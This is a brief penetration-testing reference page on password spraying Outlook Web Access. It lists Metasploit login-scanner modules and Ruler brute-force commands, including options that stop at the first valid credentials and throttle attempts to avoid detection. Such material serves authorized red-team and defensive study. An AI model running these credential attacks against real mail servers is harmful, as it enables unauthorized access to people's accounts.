> For the complete documentation index, see [llms.txt](https://ttp.parzival.sh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ttp.parzival.sh/pentesting/fortress/outlook-web-access-owa.md).

# Outlook Web Access (OWA)

### Password Spraying OWA

#### Metasploit

```bash
# OWA brute force utility
use auxiliary/scanner/http/owa_login

# OWA Exchange Web Services (EWS) login scanner
use auxiliary/scanner/http/owa_ews_login
```

#### Ruler

```bash
# Brute force credentials
./ruler --domain $domain brute --users $userfile --passwords $passwordfile

# Stop after first valid credentials found
./ruler --domain $domain brute --users $userfile --passwords $passwordfile --stop

# Brute force credentials with a delay
./ruler --domain $domain brute --users $userfile --passwords $passwordfile --delay 2 --attempts 2
```

### References

{% embed url="<https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell>" %}

{% embed url="<https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying>" %}